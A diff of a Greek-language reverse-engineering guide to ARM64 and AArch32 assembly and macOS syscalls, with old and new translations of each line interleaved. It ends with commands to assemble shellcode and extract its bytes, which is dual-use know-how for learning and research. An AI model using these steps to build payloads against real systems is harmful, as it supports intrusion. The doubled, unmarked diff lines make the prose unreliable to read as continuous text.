* **`stur`**: **Αποθήκευση μιας τιμής καταχωρητή σε μια διεύθυνση μνήμης**, χρησιμοποιώντας ένα offset από έναν άλλο καταχωρητή.
|
||||
* Παράδειγμα: `stur x0, [x1, #4]` — Αυτό αποθηκεύει την τιμή στο `x0` στη διεύθυνση μνήμης που είναι 4 bytes μεγαλύτερη από τη διεύθυνση που είναι ήδη στο `x1`.
|
||||
* **`svc`** : Κάντε μια **κλήση συστήματος**. Σημαίνει "Supervisor Call". Όταν ο επεξεργαστής εκτελεί αυτή την εντολή, **μεταβαίνει από τη λειτουργία χρήστη σε λειτουργία πυρήνα** και πηγαίνει σε μια συγκεκριμένη τοποθεσία στη μνήμη όπου βρίσκεται ο **κωδικός χειρισμού κλήσεων συστήματος του πυρήνα**.
|
||||
* Παράδειγμα:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; Φορτώνει τον αριθμό κλήσης συστήματος για έξοδο (93) στον καταχωρητή x8.
|
||||
mov x0, 0 ; Φορτώνει τον κωδικό κατάστασης εξόδου (0) στον καταχωρητή x0.
|
||||
svc 0 ; Κάνει την κλήση συστήματος.
|
||||
mov x8, 93 ; Φόρτωση του αριθμού κλήσης συστήματος για έξοδο (93) στον καταχωρητή x8.
|
||||
mov x0, 0 ; Φόρτωση του κωδικού κατάστασης εξόδου (0) στον καταχωρητή x0.
|
||||
svc 0 ; Κλήση του συστήματος.
|
||||
```
|
||||
|
||||
### **Πρόλογος Συνάρτησης**
|
||||
|
||||
1. **Αποθήκευση του καταχωρητή συνδέσμου και του δείκτη πλαισίου στη στοίβα**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
1. **Αποθήκευση του καταχωρητή σύνδεσης και του δείκτη πλαισίου στο στοίβα**:
|
||||
```armasm
|
||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
2. **Ρύθμιση του νέου δείκτη πλαισίου**: `mov x29, sp` (ρυθμίζει τον νέο δείκτη πλαισίου για την τρέχουσα συνάρτηση)
|
||||
3. **Δέσμευση χώρου στη στοίβα για τοπικές μεταβλητές** (εάν απαιτείται): `sub sp, sp, <size>` (όπου `<size>` είναι το πλήθος των bytes που απαιτούνται)
|
||||
3. **Δημιουργία χώρου στη στοίβα για τοπικές μεταβλητές** (αν χρειάζεται): `sub sp, sp, <size>` (όπου `<size>` είναι ο αριθμός των byte που χρειάζονται)
|
||||
|
||||
### **Επίλογος Συνάρτησης**
|
||||
|
||||
1. **Αποδέσμευση τοπικών μεταβλητών (εάν είχαν δεσμευτεί)**: `add sp, sp, <size>`
|
||||
2. **Επαναφορά του μητρώου συνδέσμου και του δείκτη πλαισίου**:
|
||||
1. **Αποδέσμευση τοπικών μεταβλητών (αν έχουν αποδεσμευτεί)**: `add sp, sp, <size>`
|
||||
2. **Αποκατάσταση του καταχωρητή σύνδεσης και του δείκτη πλαισίου**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
|
@ -204,18 +259,18 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
3. **Επιστροφή**: `ret` (επιστρέφει τον έλεγχο στον καλούντα χρησιμοποιώντας τη διεύθυνση στον register συνδέσμου)
|
||||
3. **Επιστροφή**: `ret` (επιστρέφει τον έλεγχο στον καλούντα χρησιμοποιώντας τη διεύθυνση στο μητρώο σύνδεσης)
|
||||
|
||||
## Κατάσταση Εκτέλεσης AARCH32
|
||||
|
||||
Το Armv8-A υποστηρίζει την εκτέλεση προγραμμάτων 32-bit. Το **AArch32** μπορεί να εκτελέσει ένα από τα **δύο σύνολα εντολών**: **`A32`** και **`T32`** και μπορεί να μεταβεί μεταξύ τους μέσω **`interworking`**.\
|
||||
Τα **προνομιούχα** προγράμματα 64-bit μπορούν να προγραμματίσουν την **εκτέλεση 32-bit** προγραμμάτων εκτελώντας μια μεταφορά επιπέδου εξαίρεσης στο χαμηλότερου επιπέδου προνομιούχο 32-bit.\
|
||||
Σημειώστε ότι η μετάβαση από 64-bit σε 32-bit συμβαίνει με ένα χαμηλότερο επίπεδο εξαίρεσης (για παράδειγμα ένα 64-bit πρόγραμμα σε EL1 προκαλεί ένα πρόγραμμα σε EL0). Αυτό επιτυγχάνεται με τον ορισμό του **bit 4 του** ειδικού μητρώου **`SPSR_ELx`** σε 1 όταν η διαδικασία νήματος `AArch32` είναι έτοιμη για εκτέλεση και το υπόλοιπο του `SPSR_ELx` αποθηκεύει τα προγράμματα CPSR του **`AArch32`**. Στη συνέχεια, το προνομιούχο πρόγραμμα καλεί την εντολή **`ERET`** ώστε ο επεξεργαστής να μεταβεί στο **`AArch32`** εισέρχοντας σε A32 ή T32 ανάλογα με το CPSR\*\*.\*\*
|
||||
Το Armv8-A υποστηρίζει την εκτέλεση 32-bit προγραμμάτων. **AArch32** μπορεί να εκτελείται σε ένα από **δύο σύνολα εντολών**: **`A32`** και **`T32`** και μπορεί να αλλάξει μεταξύ τους μέσω **`interworking`**.\
|
||||
**Προνομιακά** 64-bit προγράμματα μπορούν να προγραμματίσουν την **εκτέλεση 32-bit** προγραμμάτων εκτελώντας μια μεταφορά επιπέδου εξαίρεσης σε χαμηλότερο προνομιακό 32-bit.\
|
||||
Σημειώστε ότι η μετάβαση από 64-bit σε 32-bit συμβαίνει με χαμηλότερο επίπεδο εξαίρεσης (για παράδειγμα, ένα 64-bit πρόγραμμα σε EL1 που ενεργοποιεί ένα πρόγραμμα σε EL0). Αυτό γίνεται ρυθμίζοντας το **bit 4 του** **`SPSR_ELx`** ειδικού μητρώου **σε 1** όταν το νήμα διαδικασίας `AArch32` είναι έτοιμο να εκτελεστεί και το υπόλοιπο του `SPSR_ELx` αποθηκεύει το **`AArch32`** CPSR. Στη συνέχεια, η προνομιακή διαδικασία καλεί την εντολή **`ERET`** ώστε ο επεξεργαστής να μεταβεί σε **`AArch32`** εισερχόμενος σε A32 ή T32 ανάλογα με το CPSR\*\*.\*\*
|
||||
|
||||
Το **`interworking`** συμβαίνει χρησιμοποιώντας τα bits J και T του CPSR. `J=0` και `T=0` σημαίνει **`A32`** και `J=0` και `T=1` σημαίνει **T32**. Αυτό βασικά μεταφράζεται στον ορισμό του **χαμηλότερου bit σε 1** για να υποδείξει ότι το σύνολο εντολών είναι T32.\
|
||||
Αυτό ορίζεται κατά τη διάρκεια των **εντολών αλλαγής κλάδου interworking**, αλλά μπορεί επίσης να οριστεί απευθείας με άλλες εντολές όταν το PC ορίζεται ως μητρώο προορισμού. Παράδειγμα:
|
||||
Η **`interworking`** συμβαίνει χρησιμοποιώντας τα J και T bits του CPSR. `J=0` και `T=0` σημαίνει **`A32`** και `J=0` και `T=1` σημαίνει **T32**. Αυτό μεταφράζεται βασικά σε ρύθμιση του **χαμηλότερου bit σε 1** για να υποδείξει ότι το σύνολο εντολών είναι T32.\
|
||||
Αυτό ρυθμίζεται κατά τη διάρκεια των **εντολών κλάδου interworking,** αλλά μπορεί επίσης να ρυθμιστεί άμεσα με άλλες εντολές όταν το PC ρυθμίζεται ως το μητρώο προορισμού. Παράδειγμα:
|
||||
|
||||
Άλλο ένα παράδειγμα:
|
||||
Ένα άλλο παράδειγμα:
|
||||
```armasm
|
||||
_start:
|
||||
.code 32 ; Begin using A32
|
||||
|
@ -226,50 +281,64 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
|||
mov r0, #0
|
||||
mov r0, #8
|
||||
```
|
||||
### Καταχωρητές
|
||||
### Registers
|
||||
|
||||
Υπάρχουν 16 καταχωρητές 32-bit (r0-r15). **Από τον r0 έως τον r14** μπορούν να χρησιμοποιηθούν για **οποιαδήποτε λειτουργία**, ωστόσο μερικοί από αυτούς συνήθως είναι κρατημένοι:
|
||||
Υπάρχουν 16 32-bit καταχωρητές (r0-r15). **Από r0 έως r14** μπορούν να χρησιμοποιηθούν για **οποιαδήποτε λειτουργία**, ωστόσο μερικοί από αυτούς είναι συνήθως δεσμευμένοι:
|
||||
|
||||
* **`r15`**: Δείκτης προγράμματος (πάντα). Περιέχει τη διεύθυνση της επόμενης εντολής. Στο A32 τρέχον + 8, στο T32 τρέχον + 4.
|
||||
* **`r11`**: Δείκτης Πλαισίου
|
||||
* **`r15`**: Μετρητής προγράμματος (πάντα). Περιέχει τη διεύθυνση της επόμενης εντολής. Στην A32 τρέχουσα + 8, στην T32, τρέχουσα + 4.
|
||||
* **`r11`**: Δείκτης πλαισίου
|
||||
* **`r12`**: Καταχωρητής κλήσης εντός διαδικασίας
|
||||
* **`r13`**: Δείκτης Στοίβας
|
||||
* **`r14`**: Καταχωρητής Συνδέσμου
|
||||
* **`r13`**: Δείκτης στοίβας
|
||||
* **`r14`**: Καταχωρητής σύνδεσης
|
||||
|
||||
Επιπλέον, οι καταχωρητές αντιγράφονται σε **`τράπεζες καταχωρητών`**. Αυτά είναι μέρη που αποθηκεύουν τις τιμές των καταχωρητών επιτρέποντας την εκτέλεση **γρήγορης αλλαγής πλαισίου** στην επεξεργασία εξαιρέσεων και προνομιούχων λειτουργιών για να αποφευχθεί η ανάγκη χειροκίνητης αποθήκευσης και επαναφοράς των καταχωρητών κάθε φορά.\
|
||||
Αυτό επιτυγχάνεται με το **αποθήκευση της κατάστασης του επεξεργαστή από το `CPSR` στο `SPSR`** της λειτουργικής κατάστασης του επεξεργαστή στην οποία λαμβάνεται η εξαίρεση. Κατά την επιστροφή από την εξαίρεση, το **`CPSR`** αποκαθίσταται από το **`SPSR`**.
|
||||
Επιπλέον, οι καταχωρητές υποστηρίζονται σε **`banked registries`**. Αυτά είναι μέρη που αποθηκεύουν τις τιμές των καταχωρητών επιτρέποντας την εκτέλεση **γρήγορων εναλλαγών πλαισίου** στη διαχείριση εξαιρέσεων και σε προνομιακές λειτουργίες για να αποφευχθεί η ανάγκη να αποθηκεύονται και να επαναφέρονται οι καταχωρητές κάθε φορά.\
|
||||
Αυτό γίνεται με **την αποθήκευση της κατάστασης του επεξεργαστή από το `CPSR` στο `SPSR`** της λειτουργίας του επεξεργαστή στην οποία λαμβάνεται η εξαίρεση. Κατά την επιστροφή από την εξαίρεση, το **`CPSR`** επαναφέρεται από το **`SPSR`**.
|
||||
|
||||
### CPSR - Τρέχουσα Κατάσταση Προγράμματος
|
||||
### CPSR - Current Program Status Register
|
||||
|
||||
Στο AArch32 το CPSR λειτουργεί παρόμοια με το **`PSTATE`** στο AArch64 και αποθηκεύεται επίσης στο **`SPSR_ELx`** όταν λαμβάνεται μια εξαίρεση για να αποκατασταθεί αργότερα η εκτέλεση:
|
||||
Στην AArch32 το CPSR λειτουργεί παρόμοια με το **`PSTATE`** στην AArch64 και αποθηκεύεται επίσης στο **`SPSR_ELx`** όταν λαμβάνεται μια εξαίρεση για να αποκατασταθεί αργότερα η εκτέλεση:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Τα πεδία χωρίζονται σε ορισμένες ομάδες:
|
||||
Τα πεδία είναι χωρισμένα σε ορισμένες ομάδες:
|
||||
|
||||
* Κατάσταση Καταχώρησης Προγράμματος (APSR): Αριθμητικές σημαίες και προσβάσιμες από EL0
|
||||
* Καταχωρητές Κατάστασης Εκτέλεσης: Συμπεριφορά διεργασίας (διαχειρίζεται από το λειτουργικό σύστημα).
|
||||
* Καταχωρητής Κατάστασης Εφαρμογής (APSR): Αριθμητικές σημαίες και προσβάσιμες από EL0
|
||||
* Καταχωρητές Κατάστασης Εκτέλεσης: Συμπεριφορά διαδικασίας (διαχειρίζεται από το OS).
|
||||
|
||||
#### Κατάσταση Καταχώρησης Προγράμματος (APSR)
|
||||
#### Καταχωρητής Κατάστασης Εφαρμογής (APSR)
|
||||
|
||||
* Οι σημαίες **`N`**, **`Z`**, **`C`**, **`V`** (όπως και στο AArch64)
|
||||
* Η σημαία **`Q`**: Τίθεται σε 1 όταν συμβαίνει **κορεσμός ακεραιών** κατά την εκτέλεση μιας εξειδικευμένης αριθμητικής εντολής κορεσμού. Μόλις τεθεί σε **`1`**, θα διατηρήσει την τιμή μέχρι να τεθεί χειροκίνητα σε 0. Επιπλέον, δεν υπάρχει καμία εντολή που ελέγχει την τιμή της ρητά, πρέπει να γίνει ανάγνωση της χειροκίνητα.
|
||||
* **`GE`** (Μεγαλύτερο από ή ίσο με) Σημαίες: Χρησιμοποιούνται σε λειτουργίες SIMD (Μοναδική Εντολή, Πολλαπλά Δεδομένα), όπως "παράλληλη πρόσθεση" και "παράλληλη αφαίρεση". Αυτές οι λειτουργίες επιτρέπουν την επεξεργασία πολλαπλών σημείων δεδομένων σε μια μόνο εντολή.
|
||||
* Οι σημαίες **`N`**, **`Z`**, **`C`**, **`V`** (όπως στην AArch64)
|
||||
* Η σημαία **`Q`**: Ρυθμίζεται σε 1 όποτε **συμβαίνει κορεσμός ακέραιων αριθμών** κατά την εκτέλεση μιας εξειδικευμένης εντολής αριθμητικής κορεσμού. Μόλις ρυθμιστεί σε **`1`**, θα διατηρήσει την τιμή μέχρι να ρυθμιστεί χειροκίνητα σε 0. Επιπλέον, δεν υπάρχει καμία εντολή που να ελέγχει την τιμή της έμμεσα, πρέπει να γίνει διαβάζοντάς την χειροκίνητα.
|
||||
* **`GE`** (Μεγαλύτερο ή ίσο) Σημαίες: Χρησιμοποιείται σε SIMD (Μοναδική Εντολή, Πολλαπλά Δεδομένα) λειτουργίες, όπως "παράλληλη πρόσθεση" και "παράλληλη αφαίρεση". Αυτές οι λειτουργίες επιτρέπουν την επεξεργασία πολλών σημείων δεδομένων σε μια μόνο εντολή.
|
||||
|
||||
Για παράδειγμα, η εντολή **`UADD8`** **προσθέτει τέσσερα ζεύγη bytes** (από δύο 32-bit τελεστές) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν καταχωρητή 32-bit. Στη συνέχεια **τίθεται οι `GE` σημαίες στο `APSR`** βάσει αυτών των αποτελεσμάτων. Κάθε σημαία GE αντιστοιχεί σε ένα από τα ζεύγη byte, υποδεικνύοντας αν η πρόσθεση για αυτό το ζεύγος byte **υπερχείλισε**.
|
||||
Για παράδειγμα, η εντολή **`UADD8`** **προσθέτει τέσσερις ζεύξεις byte** (από δύο 32-bit τελεστές) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν 32-bit καταχωρητή. Στη συνέχεια **ρυθμίζει τις σημαίες `GE` στο `APSR`** με βάση αυτά τα αποτελέσματα. Κάθε σημαία GE αντιστοιχεί σε μία από τις προσθέσεις byte, υποδεικνύοντας αν η πρόσθεση για εκείνο το ζεύγος byte **υπερχειλίζει**.
|
||||
|
||||
Η εντολή **`SEL`** χρησιμοποιεί αυτές τις GE σημαίες για να εκτελέσει συνθήκες ενεργειών.
|
||||
Η εντολή **`SEL`** χρησιμοποιεί αυτές τις σημαίες GE για να εκτελέσει συνθήκες.
|
||||
|
||||
#### Καταχωρητές Κατάστασης Εκτέλεσης
|
||||
|
||||
* Τα bits **`J`** και **`T`**: Το **`J`** πρέπει να είναι 0 και αν το **`T`** είναι 0 χρησιμοποιείται το σύνολο εντολών A32, ενώ αν είναι 1 χρησιμοποιείται το T32.
|
||||
* **Κατάσταση Ενότητας Μπλοκ IT** (`ITSTATE`): Αυτά είναι τα bits από 10-15 και 25-26. Αποθηκεύουν συνθήκες για εντολές μέσα σε μια ομάδα που προηγείται από το **`IT`**.
|
||||
* **`E`** bit: Υποδεικνύει την **τελειότητα**.
|
||||
* **Κατάσταση Λειτουργίας και Μάσκα Εξαιρέσεων** (0-4): Καθορίζουν την τρέχουσα κατάσταση εκτέλεσης. Το **5ο** υποδεικνύει αν το πρόγραμμα εκτελείται ως 32bit (ένα 1) ή 64bit (ένα 0). Τα άλλα 4 αντιπροσωπεύουν τη **λειτουργική κατάσταση εξαίρεσης που χρησιμοποιείται επί του παρόντος** (όταν συμβαίνει μια εξαίρεση και χειρίζεται). Ο αριθμός ορίζει την τρέχουσα προτεραιότητα σε περίπτωση που προκληθεί μια άλλη εξαίρεση ενώ αυτή χειρίζεται.
|
||||
* Τα bits **`J`** και **`T`**: **`J`** πρέπει να είναι 0 και αν **`T`** είναι 0 χρησιμοποιείται το σύνολο εντολών A32, και αν είναι 1, χρησιμοποιείται το T32.
|
||||
* **Καταχωρητής Κατάστασης IT Block** (`ITSTATE`): Αυτά είναι τα bits από 10-15 και 25-26. Αποθηκεύουν συνθήκες για εντολές μέσα σε μια ομάδα με πρόθεμα **`IT`**.
|
||||
* **`E`** bit: Υποδεικνύει την **endianness**.
|
||||
* **Bits Μάσκας Λειτουργίας και Εξαίρεσης** (0-4): Καθορίζουν την τρέχουσα κατάσταση εκτέλεσης. Το **5ο** υποδεικνύει αν το πρόγραμμα εκτελείται ως 32bit (ένα 1) ή 64bit (ένα 0). Τα άλλα 4 αντιπροσωπεύουν τη **λειτουργία εξαίρεσης που χρησιμοποιείται αυτή τη στιγμή** (όταν συμβαίνει μια εξαίρεση και διαχειρίζεται). Ο αριθμός που έχει ρυθμιστεί **υποδεικνύει την τρέχουσα προτεραιότητα** σε περίπτωση που προκληθεί άλλη εξαίρεση ενώ αυτή διαχειρίζεται.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **`AIF`**: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bits **`A`**, `I`, `F`. Αν το **`A`** είναι 1 σημαίνει ότι θα προκληθούν **ασύγχρονες αποτυχίες**. Το **`I`** ρυθμίζει την ανταπόκριση σε εξωτερικά υλικά **Αιτήσεις Διακοπών** (IRQs). και το F σχετίζεται με τις **Γρήγορες Αιτήσεις Διακοπών** (FIRs).
|
||||
* **`AIF`**: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bits **`A`**, `I`, `F`. Αν **`A`** είναι 1 σημαίνει ότι θα προκληθούν **ασύγχρονοι τερματισμοί**. Το **`I`** ρυθμίζει την αντίδραση σε εξωτερικά αιτήματα διακοπής υλικού **(IRQs)**. και το F σχετίζεται με **Γρήγορα Αιτήματα Διακοπής** (FIRs).
|
||||
|
||||
## macOS
|
||||
|
||||
### BSD syscalls
|
||||
|
||||
Δείτε το [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Οι κλήσεις συστήματος BSD θα έχουν **x16 > 0**.
|
||||
|
||||
### Mach Traps
|
||||
|
||||
Δείτε στο [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) τον πίνακα `mach_trap_table` και στο [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) τα πρωτότυπα. Ο μέγιστος αριθμός Mach traps είναι `MACH_TRAP_TABLE_COUNT` = 128. Οι Mach traps θα έχουν **x16 < 0**, οπότε πρέπει να καλέσετε τους αριθμούς από την προηγούμενη λίστα με ένα **μείον**: **`_kernelrpc_mach_vm_allocate_trap`** είναι **`-10`**.
|
||||
|
||||
Μπορείτε επίσης να ελέγξετε **`libsystem_kernel.dylib`** σε έναν αποσυμπιεστή για να βρείτε πώς να καλέσετε αυτές τις (και BSD) κλήσεις συστήματος:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# macOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
|
@ -279,31 +348,33 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Σημειώστε ότι **Ida** και **Ghidra** μπορούν επίσης να αποσυμπιέσουν **συγκεκριμένα dylibs** από την κρυφή μνήμη απλά περνώντας την κρυφή μνήμη.
|
||||
|
||||
{% hint style="success" %}
|
||||
Μερικές φορές είναι πιο εύκολο να ελέγξετε τον **αποκωδικοποιημένο** κώδικα από το **`libsystem_kernel.dylib`** **από** τον έλεγχο του **πηγαίου κώδικα** επειδή ο κώδικας αρκετών syscalls (BSD και Mach) δημιουργείται μέσω scripts (ελέγξτε τα σχόλια στον πηγαίο κώδικα), ενώ στο dylib μπορείτε να βρείτε τι καλείται.
|
||||
Μερικές φορές είναι πιο εύκολο να ελέγξετε τον **αποσυμπιεσμένο** κώδικα από το **`libsystem_kernel.dylib`** **παρά** να ελέγξετε τον **πηγαίο κώδικα** επειδή ο κώδικας αρκετών syscalls (BSD και Mach) παράγεται μέσω scripts (ελέγξτε τα σχόλια στον πηγαίο κώδικα) ενώ στο dylib μπορείτε να βρείτε τι καλείται.
|
||||
{% endhint %}
|
||||
|
||||
### κλήσεις machdep
|
||||
### machdep calls
|
||||
|
||||
Το XNU υποστηρίζει έναν άλλο τύπο κλήσεων που ονομάζονται εξαρτώμενες από τη μηχανή. Ο αριθμός αυτών των κλήσεων εξαρτάται από την αρχιτεκτονική και ούτε οι κλήσεις ούτε οι αριθμοί είναι εγγυημένο ότι θα παραμείνουν σταθεροί.
|
||||
Το XNU υποστηρίζει έναν άλλο τύπο κλήσεων που ονομάζεται εξαρτώμενες από τη μηχανή. Οι αριθμοί αυτών των κλήσεων εξαρτώνται από την αρχιτεκτονική και ούτε οι κλήσεις ούτε οι αριθμοί είναι εγγυημένο ότι θα παραμείνουν σταθεροί.
|
||||
|
||||
### σελίδα comm
|
||||
### comm page
|
||||
|
||||
Αυτή είναι μια σελίδα μνήμης ιδιοκτήτη του πυρήνα που αντιστοιχίζεται στον χώρο διεύθυνσης κάθε διεργασίας χρήστη. Έχει σκοπό να κάνει τη μετάβαση από τη λειτουργία χρήστη στον χώρο πυρήνα πιο γρήγορη από τη χρήση syscalls για υπηρεσίες πυρήνα που χρησιμοποιούνται τόσο πολύ ώστε αυτή η μετάβαση θα ήταν πολύ αναποτελεσματική.
|
||||
Αυτή είναι μια σελίδα μνήμης που ανήκει στον πυρήνα και είναι χαρτογραφημένη στο χώρο διευθύνσεων κάθε διεργασίας χρήστη. Σκοπός της είναι να διευκολύνει τη μετάβαση από τη λειτουργία χρήστη στον χώρο του πυρήνα πιο γρήγορα από τη χρήση syscalls για υπηρεσίες πυρήνα που χρησιμοποιούνται τόσο πολύ ώστε αυτή η μετάβαση να είναι πολύ αναποτελεσματική.
|
||||
|
||||
Για παράδειγμα, η κλήση `gettimeofdate` διαβάζει την τιμή του `timeval` απευθείας από τη σελίδα comm.
|
||||
|
||||
### objc\_msgSend
|
||||
|
||||
Είναι πολύ συνηθισμένο να βρείτε αυτήν τη συνάρτηση που χρησιμοποιείται σε προγράμματα Objective-C ή Swift. Αυτή η συνάρτηση επιτρέπει την κλήση μιας μεθόδου ενός αντικειμένου Objective-C.
|
||||
Είναι πολύ συνηθισμένο να βρείτε αυτή τη λειτουργία να χρησιμοποιείται σε προγράμματα Objective-C ή Swift. Αυτή η λειτουργία επιτρέπει την κλήση μιας μεθόδου ενός αντικειμένου Objective-C.
|
||||
|
||||
Παράμετροι ([περισσότερες πληροφορίες στα έγγραφα](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
||||
Παράμετροι ([περισσότερες πληροφορίες στα docs](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
||||
|
||||
* x0: self -> Δείκτης προς την περίπτωση
|
||||
* x0: self -> Δείκτης στην περίπτωση
|
||||
* x1: op -> Επιλογέας της μεθόδου
|
||||
* x2... -> Υπόλοιπα ορίσματα της κληθείσας μεθόδου
|
||||
* x2... -> Υπόλοιπες παράμετροι της καλούμενης μεθόδου
|
||||
|
||||
Έτσι, αν τοποθετήσετε ένα σημείο ανακοπής πριν από το κλάδο αυτής της συνάρτησης, μπορείτε εύκολα να βρείτε τι κλήθηκε στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από `NSConcreteTask` που θα εκτελέσει έναν εντολή):
|
||||
Έτσι, αν βάλετε σημείο διακοπής πριν από τον κλάδο σε αυτή τη λειτουργία, μπορείτε εύκολα να βρείτε τι καλείται στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από το `NSConcreteTask` που θα εκτελέσει μια εντολή):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
|
@ -322,28 +393,32 @@ whoami
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Με την ρύθμιση της μεταβλητής περιβάλλοντος **`NSObjCMessageLoggingEnabled=1`** είναι δυνατή η καταγραφή όταν αυτή η συνάρτηση καλείται σε ένα αρχείο όπως το `/tmp/msgSends-pid`.
|
||||
Ρυθμίζοντας τη μεταβλητή περιβάλλοντος **`NSObjCMessageLoggingEnabled=1`** είναι δυνατή η καταγραφή όταν καλείται αυτή η συνάρτηση σε ένα αρχείο όπως το `/tmp/msgSends-pid`.
|
||||
|
||||
Επιπλέον, με τη ρύθμιση **`OBJC_HELP=1`** και καλώντας οποιοδήποτε δυαδικό μπορείτε να δείτε άλλες μεταβλητές περιβάλλοντος που θα μπορούσατε να χρησιμοποιήσετε για να **καταγράψετε** όταν συμβαίνουν συγκεκριμένες ενέργειες Objc-C.
|
||||
Επιπλέον, ρυθμίζοντας **`OBJC_HELP=1`** και καλώντας οποιοδήποτε δυαδικό, μπορείτε να δείτε άλλες μεταβλητές περιβάλλοντος που θα μπορούσατε να χρησιμοποιήσετε για να **log** όταν συμβαίνουν ορισμένες ενέργειες Objc-C.
|
||||
{% endhint %}
|
||||
|
||||
Όταν αυτή η συνάρτηση καλείται, είναι απαραίτητο να βρεθεί η κληθείσα μέθοδος της καθορισμένης περίπτωσης, για τον σκοπό αυτό πραγματοποιούνται διαφορετικές αναζητήσεις:
|
||||
Όταν καλείται αυτή η συνάρτηση, είναι απαραίτητο να βρείτε τη μέθοδο που καλείται από την υποδεικνυόμενη παρουσία, για αυτό γίνονται διαφορετικές αναζητήσεις:
|
||||
|
||||
* Εκτέλεση αισιόδοξης αναζήτησης στη μνήμη cache:
|
||||
* Εάν επιτύχει, ολοκληρώθηκε
|
||||
* Απόκτηση κλειδώματος runtimeLock (ανάγνωση)
|
||||
* Εάν (realize && !cls->realized) πραγματοποίησε την κλάση
|
||||
* Εάν (initialize && !cls->initialized) αρχικοποίησε την κλάση
|
||||
* Δοκιμή της δικής cache της κλάσης:
|
||||
* Εάν επιτύχει, ολοκληρώθηκε
|
||||
* Δοκιμή λίστας μεθόδων της κλάσης:
|
||||
* Εάν βρεθεί, γέμισε την cache και ολοκληρώθηκε
|
||||
* Δοκιμή της cache της υπερκλάσης:
|
||||
* Εάν επιτύχει, ολοκληρώθηκε
|
||||
* Δοκιμή λίστας μεθόδων της υπερκλάσης:
|
||||
* Εάν βρεθεί, γέμισε την cache και ολοκληρώθηκε
|
||||
* Εάν (resolver) δοκίμασε τον επίλυση μεθόδου και επανάλαβε από την αναζήτηση της κλάσης
|
||||
* Εάν εξακολουθεί να βρίσκεται εδώ (= όλα τα άλλα απέτυχαν) δοκίμασε τον προωθητή
|
||||
* Εκτέλεση αισιόδοξης αναζήτησης cache:
|
||||
* Αν είναι επιτυχής, ολοκληρώθηκε
|
||||
* Απόκτηση runtimeLock (ανάγνωση)
|
||||
* Αν (realize && !cls->realized) πραγματοποιήστε την πραγματοποίηση της κλάσης
|
||||
* Αν (initialize && !cls->initialized) πραγματοποιήστε την αρχικοποίηση της κλάσης
|
||||
* Δοκιμάστε την cache της κλάσης:
|
||||
* Αν είναι επιτυχής, ολοκληρώθηκε
|
||||
* Δοκιμάστε τη λίστα μεθόδων της κλάσης:
|
||||
* Αν βρεθεί, γεμίστε την cache και ολοκληρώθηκε
|
||||
* Δοκιμάστε την cache της υπερκλάσης:
|
||||
* Αν είναι επιτυχής, ολοκληρώθηκε
|
||||
* Δοκιμάστε τη λίστα μεθόδων της υπερκλάσης:
|
||||
* Αν βρεθεί, γεμίστε την cache και ολοκληρώθηκε
|
||||
* Αν (resolver) δοκιμάστε τον επιλυτή μεθόδων και επαναλάβετε από την αναζήτηση κλάσης
|
||||
* Αν είστε ακόμα εδώ (= όλα τα άλλα έχουν αποτύχει) δοκιμάστε τον προωθητή
|
||||
|
||||
### Shellcodes
|
||||
|
||||
Για να μεταγλωττίσετε:
|
||||
```bash
|
||||
as -o shell.o shell.s
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
|
@ -351,14 +426,14 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
|||
# You could also use this
|
||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||
```
|
||||
Για να εξάγετε τα bytes:
|
||||
Για να εξαγάγετε τα bytes:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
Για νεότερα macOS:
|
||||
Για νεότερες εκδόσεις macOS:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
|
||||
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
